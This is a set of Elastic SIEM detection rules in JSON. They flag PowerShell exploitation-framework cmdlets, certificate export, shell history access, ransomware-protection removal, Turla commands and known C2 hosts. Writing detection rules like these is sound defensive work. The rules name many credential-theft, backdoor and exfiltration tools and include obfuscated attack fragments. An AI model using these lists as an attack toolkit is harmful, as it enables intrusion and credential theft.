{"description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5c05ac2b-4d2d-363d-5de1-ba739bb762e4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious PowerShell Commandlets - ProcessCreation", "query": "process.command_line.text:(*Add\\-Exfiltration* OR *Add\\-Persistence* OR *Add\\-RegBackdoor* OR *Add\\-RemoteRegBackdoor* OR *Add\\-ScrnSaveBackdoor* OR *Check\\-VM* OR *ConvertTo\\-Rc4ByteStream* OR *Decrypt\\-Hash* OR *Do\\-Exfiltration* OR *Enabled\\-DuplicateToken* OR *Exploit\\-Jboss* OR *Find\\-Fruit* OR *Find\\-GPOLocation* OR *Find\\-TrustedDocuments* OR *Get\\-ApplicationHost* OR *Get\\-ChromeDump* OR *Get\\-ClipboardContents* OR *Get\\-FoxDump* OR *Get\\-GPPPassword* OR *Get\\-IndexedItem* OR *Get\\-Keystrokes* OR *Get\\-LSASecret* OR *Get\\-PassHashes* OR *Get\\-RegAlwaysInstallElevated* OR *Get\\-RegAutoLogon* OR *Get\\-RemoteBootKey* OR *Get\\-RemoteCachedCredential* OR *Get\\-RemoteLocalAccountHash* OR *Get\\-RemoteLSAKey* OR *Get\\-RemoteMachineAccountHash* OR *Get\\-RemoteNLKMKey* OR *Get\\-RickAstley* OR *Get\\-Screenshot* OR *Get\\-SecurityPackages* OR *Get\\-ServiceFilePermission* OR *Get\\-ServicePermission* OR *Get\\-ServiceUnquoted* OR *Get\\-SiteListPassword* OR *Get\\-System* OR *Get\\-TimedScreenshot* OR *Get\\-UnattendedInstallFile* OR *Get\\-Unconstrained* OR *Get\\-USBKeystrokes* OR *Get\\-VaultCredential* OR *Get\\-VulnAutoRun* OR *Get\\-VulnSchTask* OR *Gupt\\-Backdoor* OR *HTTP\\-Login* OR *Install\\-ServiceBinary* OR *Install\\-SSP* OR *Invoke\\-ACLScanner* OR *Invoke\\-ADSBackdoor* OR *Invoke\\-AllChecks* OR *Invoke\\-ARPScan* OR *Invoke\\-AzureHound* OR *Invoke\\-BackdoorLNK* OR *Invoke\\-BadPotato* OR *Invoke\\-BetterSafetyKatz* OR *Invoke\\-BypassUAC* OR *Invoke\\-Carbuncle* OR *Invoke\\-Certify* OR *Invoke\\-ConPtyShell* OR *Invoke\\-CredentialInjection* OR *Invoke\\-DAFT* OR *Invoke\\-DCSync* OR *Invoke\\-DinvokeKatz* OR *Invoke\\-DllInjection* OR *Invoke\\-DomainPasswordSpray* OR *Invoke\\-DowngradeAccount* OR *Invoke\\-EgressCheck* OR *Invoke\\-Eyewitness* OR *Invoke\\-FakeLogonScreen* OR *Invoke\\-Farmer* OR *Invoke\\-Get\\-RBCD\\-Threaded* OR *Invoke\\-Gopher* OR *Invoke\\-Grouper* OR *Invoke\\-HandleKatz* OR *Invoke\\-Internalmonologue* OR *Invoke\\-Inveigh* OR *Invoke\\-InveighRelay* OR *Invoke\\-KrbRelay* OR *Invoke\\-LdapSignCheck* OR *Invoke\\-Lockless* OR *Invoke\\-MalSCCM* OR *Invoke\\-Mimikatz* OR *Invoke\\-Mimikittenz* OR *Invoke\\-MITM6* OR *Invoke\\-NanoDump* OR *Invoke\\-NetRipper* OR *Invoke\\-Nightmare* OR *Invoke\\-NinjaCopy* OR *Invoke\\-OfficeScrape* OR *Invoke\\-OxidResolver* OR *Invoke\\-P0wnedshell* OR *Invoke\\-Paranoia* OR *Invoke\\-PortScan* OR *Invoke\\-PoshRatHttp* OR *Invoke\\-PostExfil* OR *Invoke\\-PowerDump* OR *Invoke\\-PowerShellTCP* OR *Invoke\\-PowerShellWMI* OR *Invoke\\-PPLDump* OR *Invoke\\-PsExec* OR *Invoke\\-PSInject* OR *Invoke\\-PsUaCme* OR *Invoke\\-ReflectivePEInjection* OR *Invoke\\-ReverseDNSLookup* OR *Invoke\\-Rubeus* OR *Invoke\\-RunAs* OR *Invoke\\-SafetyKatz* OR *Invoke\\-SauronEye* OR *Invoke\\-SCShell* OR *Invoke\\-Seatbelt* OR *Invoke\\-ServiceAbuse* OR *Invoke\\-ShadowSpray* OR *Invoke\\-SharpAllowedToAct* OR *Invoke\\-SharpBlock* OR *Invoke\\-SharpBypassUAC* OR *Invoke\\-SharpChromium* OR *Invoke\\-SharpClipboard* OR *Invoke\\-SharpCloud* OR *Invoke\\-SharpDPAPI* OR *Invoke\\-SharpDump* OR *Invoke\\-SharPersist* OR *Invoke\\-SharpGPOAbuse* OR *Invoke\\-SharpGPO\\-RemoteAccessPolicies* OR *Invoke\\-SharpHandler* OR *Invoke\\-SharpHide* OR *Invoke\\-Sharphound* OR *Invoke\\-SharpImpersonation* OR *Invoke\\-SharpImpersonationNoSpace* OR *Invoke\\-SharpKatz* OR *Invoke\\-SharpLdapRelayScan* OR *Invoke\\-Sharplocker* OR *Invoke\\-SharpLoginPrompt* OR *Invoke\\-SharpMove* OR *Invoke\\-SharpPrinter* OR *Invoke\\-SharpPrintNightmare* OR *Invoke\\-SharpRDP* OR *Invoke\\-SharpSCCM* OR *Invoke\\-SharpSecDump* OR *Invoke\\-Sharpshares* OR *Invoke\\-SharpSniper* OR *Invoke\\-SharpSploit* OR *Invoke\\-SharpSpray* OR *Invoke\\-SharpSSDP* OR *Invoke\\-SharpStay* OR *Invoke\\-SharpUp* OR *Invoke\\-Sharpview* OR *Invoke\\-SharpWatson* OR *Invoke\\-Sharpweb* OR *Invoke\\-SharpWSUS* OR *Invoke\\-Shellcode* OR *Invoke\\-SMBScanner* OR *Invoke\\-Snaffler* OR *Invoke\\-Spoolsample* OR *Invoke\\-SpraySinglePassword* OR *Invoke\\-SSHCommand* OR *Invoke\\-StandIn* OR *Invoke\\-StickyNotesExtract* OR *Invoke\\-Tater* OR *Invoke\\-Thunderfox* OR *Invoke\\-ThunderStruck* OR *Invoke\\-TokenManipulation* OR *Invoke\\-Tokenvator* OR *Invoke\\-TotalExec* OR *Invoke\\-UrbanBishop* OR *Invoke\\-UserHunter* OR *Invoke\\-VoiceTroll* OR *Invoke\\-Whisker* OR *Invoke\\-WinEnum* OR *Invoke\\-winPEAS* OR *Invoke\\-WireTap* OR *Invoke\\-WmiCommand* OR *Invoke\\-WScriptBypassUAC* OR *Invoke\\-Zerologon* OR *MailRaider* OR *New\\-HoneyHash* OR *New\\-InMemoryModule* OR *Out\\-Minidump* OR *Port\\-Scan* OR *PowerBreach* OR *PowerUp* OR *PowerView* OR *Remove\\-Update* OR *Set\\-MacAttribute* OR *Set\\-Wallpaper* OR *Show\\-TargetScreen* OR *Start\\-CaptureServer* OR *Start\\-WebcamRecorder* OR *VolumeShadowCopyTools*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1069", "T1069", "T1069", "T1087", "T1087", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "author": ["Sean Metcalf (source)", "Florian Roth (rule)", "Bartlomiej Czyz @bczyz1 (update)", "oscd.community (update)", "Nasreddine Bencherchali (update)", "Tim Shelton (fp)", "Mustafa Kaan Demir (update)", "Georg Lauenstein (update)", "Max Altgelt (update)", "Tobias Michalski (update)", "Austin Songer (@austinsonger) (update)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a10059d-2416-3b4d-0487-c8ffe381f789", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious PowerShell Commandlets - ScriptBlock", "query": "(powershell.file.script_block_text:(*Add\\-Exfiltration* OR *Add\\-Persistence* OR *Add\\-RegBackdoor* OR *Add\\-RemoteRegBackdoor* OR *Add\\-ScrnSaveBackdoor* OR *Check\\-VM* OR *ConvertTo\\-Rc4ByteStream* OR *Decrypt\\-Hash* OR *Do\\-Exfiltration* OR *Enabled\\-DuplicateToken* OR *Exploit\\-Jboss* OR *Find\\-Fruit* OR *Find\\-GPOLocation* OR *Find\\-TrustedDocuments* OR *Get\\-ApplicationHost* OR *Get\\-ChromeDump* OR *Get\\-ClipboardContents* OR *Get\\-FoxDump* OR *Get\\-GPPPassword* OR *Get\\-IndexedItem* OR *Get\\-Keystrokes* OR *Get\\-LSASecret* OR *Get\\-PassHashes* OR *Get\\-RegAlwaysInstallElevated* OR *Get\\-RegAutoLogon* OR *Get\\-RemoteBootKey* OR *Get\\-RemoteCachedCredential* OR *Get\\-RemoteLocalAccountHash* OR *Get\\-RemoteLSAKey* OR *Get\\-RemoteMachineAccountHash* OR *Get\\-RemoteNLKMKey* OR *Get\\-RickAstley* OR *Get\\-Screenshot* OR *Get\\-SecurityPackages* OR *Get\\-ServiceFilePermission* OR *Get\\-ServicePermission* OR *Get\\-ServiceUnquoted* OR *Get\\-SiteListPassword* OR *Get\\-System* OR *Get\\-TimedScreenshot* OR *Get\\-UnattendedInstallFile* OR *Get\\-Unconstrained* OR *Get\\-USBKeystrokes* OR *Get\\-VaultCredential* OR *Get\\-VulnAutoRun* OR *Get\\-VulnSchTask* OR *Gupt\\-Backdoor* OR *HTTP\\-Login* OR *Install\\-ServiceBinary* OR *Install\\-SSP* OR *Invoke\\-ACLScanner* OR *Invoke\\-ADSBackdoor* OR *Invoke\\-AllChecks* OR *Invoke\\-ARPScan* OR *Invoke\\-AzureHound* OR *Invoke\\-BackdoorLNK* OR *Invoke\\-BadPotato* OR *Invoke\\-BetterSafetyKatz* OR *Invoke\\-BypassUAC* OR *Invoke\\-Carbuncle* OR *Invoke\\-Certify* OR *Invoke\\-ConPtyShell* OR *Invoke\\-CredentialInjection* OR *Invoke\\-DAFT* OR *Invoke\\-DCSync* OR *Invoke\\-DinvokeKatz* OR *Invoke\\-DllInjection* OR *Invoke\\-DomainPasswordSpray* OR *Invoke\\-DowngradeAccount* OR *Invoke\\-EgressCheck* OR *Invoke\\-Eyewitness* OR *Invoke\\-FakeLogonScreen* OR *Invoke\\-Farmer* OR *Invoke\\-Get\\-RBCD\\-Threaded* OR *Invoke\\-Gopher* OR *Invoke\\-Grouper* OR *Invoke\\-HandleKatz* OR *Invoke\\-Internalmonologue* OR *Invoke\\-Inveigh* OR *Invoke\\-InveighRelay* OR *Invoke\\-KrbRelay* OR *Invoke\\-LdapSignCheck* OR *Invoke\\-Lockless* OR *Invoke\\-MalSCCM* OR *Invoke\\-Mimikatz* OR *Invoke\\-Mimikittenz* OR *Invoke\\-MITM6* OR *Invoke\\-NanoDump* OR *Invoke\\-NetRipper* OR *Invoke\\-Nightmare* OR *Invoke\\-NinjaCopy* OR *Invoke\\-OfficeScrape* OR *Invoke\\-OxidResolver* OR *Invoke\\-P0wnedshell* OR *Invoke\\-Paranoia* OR *Invoke\\-PortScan* OR *Invoke\\-PoshRatHttp* OR *Invoke\\-PostExfil* OR *Invoke\\-PowerDump* OR *Invoke\\-PowerShellTCP* OR *Invoke\\-PowerShellWMI* OR *Invoke\\-PPLDump* OR *Invoke\\-PsExec* OR *Invoke\\-PSInject* OR *Invoke\\-PsUaCme* OR *Invoke\\-ReflectivePEInjection* OR *Invoke\\-ReverseDNSLookup* OR *Invoke\\-Rubeus* OR *Invoke\\-RunAs* OR *Invoke\\-SafetyKatz* OR *Invoke\\-SauronEye* OR *Invoke\\-SCShell* OR *Invoke\\-Seatbelt* OR *Invoke\\-ServiceAbuse* OR *Invoke\\-ShadowSpray* OR *Invoke\\-SharpAllowedToAct* OR *Invoke\\-SharpBlock* OR *Invoke\\-SharpBypassUAC* OR *Invoke\\-SharpChromium* OR *Invoke\\-SharpClipboard* OR *Invoke\\-SharpCloud* OR *Invoke\\-SharpDPAPI* OR *Invoke\\-SharpDump* OR *Invoke\\-SharPersist* OR *Invoke\\-SharpGPOAbuse* OR *Invoke\\-SharpGPO\\-RemoteAccessPolicies* OR *Invoke\\-SharpHandler* OR *Invoke\\-SharpHide* OR *Invoke\\-Sharphound* OR *Invoke\\-SharpImpersonation* OR *Invoke\\-SharpImpersonationNoSpace* OR *Invoke\\-SharpKatz* OR *Invoke\\-SharpLdapRelayScan* OR *Invoke\\-Sharplocker* OR *Invoke\\-SharpLoginPrompt* OR *Invoke\\-SharpMove* OR *Invoke\\-SharpPrinter* OR *Invoke\\-SharpPrintNightmare* OR *Invoke\\-SharpRDP* OR *Invoke\\-SharpSCCM* OR *Invoke\\-SharpSecDump* OR *Invoke\\-Sharpshares* OR *Invoke\\-SharpSniper* OR *Invoke\\-SharpSploit* OR *Invoke\\-SharpSpray* OR *Invoke\\-SharpSSDP* OR *Invoke\\-SharpStay* OR *Invoke\\-SharpUp* OR *Invoke\\-Sharpview* OR *Invoke\\-SharpWatson* OR *Invoke\\-Sharpweb* OR *Invoke\\-SharpWSUS* OR *Invoke\\-Shellcode* OR *Invoke\\-SMBScanner* OR *Invoke\\-Snaffler* OR *Invoke\\-Spoolsample* OR *Invoke\\-SpraySinglePassword* OR *Invoke\\-SSHCommand* OR *Invoke\\-StandIn* OR *Invoke\\-StickyNotesExtract* OR *Invoke\\-Tater* OR *Invoke\\-Thunderfox* OR *Invoke\\-ThunderStruck* OR *Invoke\\-TokenManipulation* OR *Invoke\\-Tokenvator* OR *Invoke\\-TotalExec* OR *Invoke\\-UrbanBishop* OR *Invoke\\-UserHunter* OR *Invoke\\-VoiceTroll* OR *Invoke\\-Whisker* OR *Invoke\\-WinEnum* OR *Invoke\\-winPEAS* OR *Invoke\\-WireTap* OR *Invoke\\-WmiCommand* OR *Invoke\\-WScriptBypassUAC* OR *Invoke\\-Zerologon* OR *MailRaider* OR *New\\-HoneyHash* OR *New\\-InMemoryModule* OR *Out\\-Minidump* OR *Port\\-Scan* OR *PowerBreach* OR *PowerUp* OR *PowerView* OR *Remove\\-Update* OR *Set\\-MacAttribute* OR *Set\\-Wallpaper* OR *Show\\-TargetScreen* OR *Start\\-CaptureServer* OR *Start\\-WebcamRecorder* OR *VolumeShadowCopyTools*) AND (NOT (((powershell.file.script_block_text:(*Get\\-SystemDriveInfo* OR *C\\:\\\\ProgramData\\\\Amazon\\\\EC2\\-Windows\\\\Launch\\\\Module\\\\*))) OR ((powershell.file.script_block_text:#\\ Copyright\\ 2016\\ Amazon.com,\\ Inc.\\ or\\ its\\ affiliates.\\ All\\ Rights\\ Reserved*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1069", "T1069", "T1069", "T1087", "T1087", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", "", "", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", "enabled": false, "false_positives": ["Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7217b87-e442-e3d5-0507-b5e98bae7e70", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Export-PfxCertificate", "query": "powershell.file.script_block_text:*Export\\-PfxCertificate*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", "enabled": false, "false_positives": ["Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7217b87-e442-e3d5-0507-b5e98bae7e70", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Export-PfxCertificate", "query": "powershell.file.script_block_text:*Export\\-PfxCertificate*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects commandline containing reference to files ending with a \".\". This scheme has been seen used by raspberry-robin", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "070d69e9-34a2-0010-d4ed-a37125dfa735", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Raspberry Robin Dot Ending File", "query": "(process.command_line.text:/\\.[a-zA-Z0-9]{1,6}\\.[ |\"|']{0,1}/ AND (NOT (process.command_line.text:/\\.[a-zA-Z0-9]{1,6}\\.[a-zA-Z0-9]{1}/)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects commandline operations on shell history files", "enabled": false, "false_positives": ["Legitimate administrative activity", "Ligitimate software, cleaning hist file"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c6471a20-680e-f5b5-ecee-b49ec1aa8e6c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious History File Operations", "query": "(type:\"EXECVE\" AND (*.bash_history* OR *.zsh_history* OR *.zhistory* OR *.history* OR *.sh_history* OR *fish_history*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Detects commandline operations on shell history files", "enabled": false, "false_positives": ["Legitimate administrative activity", "Ligitimate software, cleaning hist file"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c6471a20-680e-f5b5-ecee-b49ec1aa8e6c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious History File Operations", "query": "process.command_line:(*.bash_history* OR *.zsh_history* OR *.zhistory* OR *.history* OR *.sh_history* OR *fish_history*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", "enabled": false, "false_positives": ["Legitimate deinstallation by administrative staff"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67418c6d-df3f-ee1b-b816-47b0afebc042", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Raccine Uninstall", "query": "((process.command_line.text:*taskkill\\ * AND process.command_line.text:*RaccineSettings.exe*) OR (process.command_line.text:*reg.exe* AND process.command_line.text:*delete* AND process.command_line.text:*Raccine\\ Tray*) OR (process.command_line.text:*schtasks* AND process.command_line.text:*\\/DELETE* AND process.command_line.text:*Raccine\\ Rules\\ Updater*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects commands that temporarily turn off Volume Snapshots", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc17c1fa-dfca-30d4-f8f4-c4668c3a82e6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disabled Volume Snapshots", "query": "(process.command_line.text:*reg* AND process.command_line.text:*\\ add\\ * AND process.command_line.text:*\\\\Services\\\\VSS\\\\Diag* AND process.command_line.text:*\\/d\\ Disabled*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects commands used by Turla group as reported by ESET in May 2020", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ef5ec78f-99a5-fa9a-352c-08a78f54562d", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Turla Group Commands May 2020", "query": "(process.command_line:(*tracert\\ \\-h\\ 10\\ yahoo.com* OR *.WSqmCons\\)\\)|iex;* OR *Fr`omBa`se6`4Str`ing*) OR (process.command_line:*net\\ use\\ https\\:\\/\\/docs.live.net* AND process.command_line:*@aol.co.uk*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1027", "T1053", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects common NTLM brute force device names", "enabled": false, "false_positives": ["Systems with names equal to the spoofed ones used by the brute force tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f92ee496-e153-0e40-0e20-27a9ed7a5b27", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "NTLM Brute Force", "query": "(winlog.provider_name:\"Microsoft\\-Windows\\-NTLM\\/Operational\" AND winlog.event_id:\"8004\" AND source.domain:(\"Rdesktop\" OR \"Remmina\" OR \"Freerdp\" OR \"Windows7\" OR \"Windows8\" OR \"Windows2012\" OR \"Windows2016\" OR \"Windows2019\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jerry Shockley '@jsh0x'"], "license": ""}
{"description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a6c2905b-f327-5f76-b1da-178edf554df2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Equation Group C2 Communication", "query": "(destination.ip:(\"69.42.98.86\" OR \"89.185.234.145\") OR source.ip:(\"69.42.98.86\" OR \"89.185.234.145\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1041"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", "enabled": false, "false_positives": ["Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet."], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "511340fd-6f52-4785-4df8-5defd2296ffe", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Publicly Accessible RDP Service", "query": "(event.dataset:\"rdp\" AND (NOT (source.ip:(192.168.* OR 10.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1021"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Josh Brower @DefensiveDepth"], "license": ""}
{"description": "Detects connections to the host used in a big repository compromise discovered in August 2022", "enabled": false, "false_positives": ["Users looking up that domain after reading the report (unlikely)", "Web proxy or other security device DNS lookups of the domain"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bbd5746a-8454-d1b1-95a0-4ce0253d2f09", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS Lookup Github Repo Compromise Domain MyJino RU", "query": "dns.question.name:\"ovz1.j19544519.pr46m.vps.myjino.ru\"", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects connections to the host used in a big repository compromise discovered in August 2022", "enabled": false, "false_positives": ["Users looking up that domain after reading the report (unlikely)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "43e40124-c8d8-1c52-bf4a-6fd055d80220", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Github Repo Compromise Domain MyJino RU", "query": "destination.domain:\"ovz1.j19544519.pr46m.vps.myjino.ru\"", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects connections to the host used in a big repository compromise discovered in August 2022", "enabled": false, "false_positives": ["Users looking up that domain after reading the report (unlikely)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "43e40124-c8d8-1c52-bf4a-6fd055d80220", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Github Repo Compromise Domain MyJino RU", "query": "(winlog.event_data.Initiated:\"true\" AND destination.domain:\"ovz1.j19544519.pr46m.vps.myjino.ru\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
